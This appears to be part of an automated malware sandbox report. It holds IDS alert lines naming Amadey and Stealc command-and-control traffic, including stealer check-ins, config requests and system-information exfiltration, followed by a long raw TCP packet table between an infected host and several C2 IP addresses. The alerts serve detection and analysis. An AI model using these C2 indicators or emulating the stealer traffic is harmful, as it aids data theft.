2024-11-26T08:03:02.687132+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49937	TCP
2024-11-26T08:03:15.292523+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:15.751105+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:16.082605+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-26T08:03:16.420386+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:16.550070+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-26T08:03:17.894207+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:18.596641+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-26T08:03:41.342928+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:43.622394+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:45.061431+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:46.212582+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:50.005000+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:51.098942+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49747	185.215.113.206	80	TCP
2024-11-26T08:03:57.030789+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49829	185.215.113.16	80	TCP
2024-11-26T08:05:05.707422+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49930	185.215.113.43	80	TCP
2024-11-26T08:05:10.248127+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49940	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:03:02.687131882 CET	49671	443	192.168.2.8	204.79.197.203
Nov 26, 2024 08:03:03.015299082 CET	49677	80	192.168.2.8	192.229.211.108
Nov 26, 2024 08:03:03.624615908 CET	49673	443	192.168.2.8	23.206.229.226
Nov 26, 2024 08:03:03.827788115 CET	49672	443	192.168.2.8	23.206.229.226
Nov 26, 2024 08:03:11.046472073 CET	49676	443	192.168.2.8	52.182.143.211
Nov 26, 2024 08:03:13.233954906 CET	49673	443	192.168.2.8	23.206.229.226
Nov 26, 2024 08:03:13.278655052 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:13.398658037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:13.398782015 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:13.399106026 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:13.437074900 CET	49672	443	192.168.2.8	23.206.229.226
Nov 26, 2024 08:03:13.519052982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:13.640223980 CET	49677	80	192.168.2.8	192.229.211.108
Nov 26, 2024 08:03:14.821238041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:14.821337938 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:14.824135065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:14.947402000 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.292404890 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.292522907 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:15.293538094 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:15.413543940 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.751013994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.751105070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:15.751153946 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.751200914 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:15.924806118 CET	443	49703	23.206.229.226	192.168.2.8
Nov 26, 2024 08:03:15.924900055 CET	49703	443	192.168.2.8	23.206.229.226
Nov 26, 2024 08:03:15.961155891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:15.961242914 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:15.962668896 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.082604885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420152903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420176029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420182943 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420327902 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420334101 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420346975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.420386076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.420459986 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.428565979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.428653002 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.430160046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.550070047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.886956930 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:16.887116909 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.904375076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:16.904438019 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:17.025698900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.025815010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.025820017 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.025829077 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.025832891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.026135921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.026144981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.894098997 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:17.894207001 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.141103029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.261121988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.596570015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.596611023 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.596641064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.596658945 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.600661993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.600714922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.600759029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.600804090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.609097958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.609153032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.609160900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.609210014 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.617415905 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.617485046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.617516994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.617573023 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.625921011 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.625979900 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.626080036 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.626141071 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.720509052 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.720571995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.720662117 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.720941067 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.724720955 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.724781990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.724827051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.724879026 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.733170986 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.733241081 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.733251095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.733320951 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.741507053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.741571903 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.741715908 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.741771936 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.749936104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.749996901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.750102997 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.750160933 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.758320093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.758399010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.807070017 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.807163000 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.807185888 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.807223082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.811240911 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.811300993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.811331987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.811377048 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.819627047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.819686890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.819725990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.819762945 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.828363895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.828382015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.828417063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.828434944 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.836508989 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.836554050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.836620092 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.836656094 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.844949007 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.844995022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.845025063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.845061064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.853264093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.853323936 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.856658936 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.856714010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.856760025 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.856806040 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.865093946 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.865163088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.865235090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.865284920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.872531891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.872591972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.872648001 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.872714043 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.879354954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.879415035 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.931154013 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.931185007 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.931279898 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.931343079 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.934600115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.934663057 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.934684992 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.934735060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.941382885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.941474915 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.941600084 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.947922945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.947988033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.948020935 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.948071003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.954751015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.954801083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.954871893 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.954925060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.961616039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.961680889 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.961735964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.961792946 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.968470097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.968528032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.968549967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.968599081 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.975342989 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.975403070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.975409031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.975461006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.982112885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.982172966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.982202053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.982301950 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.988727093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.988806009 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.988826036 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.988892078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:18.995337009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:18.995390892 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.017915010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.017935038 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.017987967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.017987967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.019730091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.019785881 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.019828081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.019882917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.023713112 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.023765087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.023813009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.023869038 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.027694941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.027755022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.027823925 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.027875900 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.031640053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.031697989 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.031747103 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.031801939 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.035625935 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.035695076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.035727024 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.035772085 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.039581060 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.039644957 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.039659023 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.039715052 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.043567896 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.043631077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.043664932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.043710947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.047559023 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.047610044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.047621965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.047661066 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.055083036 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.055118084 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.055135965 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.055155993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.056207895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.056255102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.056325912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.056370974 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.060314894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.060367107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.060405016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.060446978 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.064168930 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.064218044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.064270020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.064310074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.068142891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.068191051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.068263054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.068303108 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.072125912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.072177887 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.072221994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.072263002 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.076014996 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.076057911 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.076133966 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.076174021 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.142322063 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.142436028 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.142476082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.142476082 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.142764091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.142824888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.142885923 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.142946005 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.146281958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.146325111 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.146375895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.146375895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.149961948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.150024891 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.150099993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.150188923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.153275967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.153383017 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.153450012 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.157023907 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.157047987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.157089949 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.157119036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.160290956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.160348892 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.160392046 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.160438061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.163799047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.163866997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.163913012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.163961887 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.167078972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.167135954 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.167185068 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.167252064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.170244932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.170299053 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.170353889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.170422077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.173604012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.173660994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.173748970 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.173815966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.176574945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.176628113 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.176724911 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.176779032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.179600000 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.179651976 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.179728031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.179776907 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.182648897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.182717085 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.182760000 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.182812929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.184938908 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.184976101 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.184993029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.185023069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.187096119 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.187153101 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.187206984 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.187262058 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:19.189166069 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:19.189239979 CET	49704	80	192.168.2.8	185.215.113.206
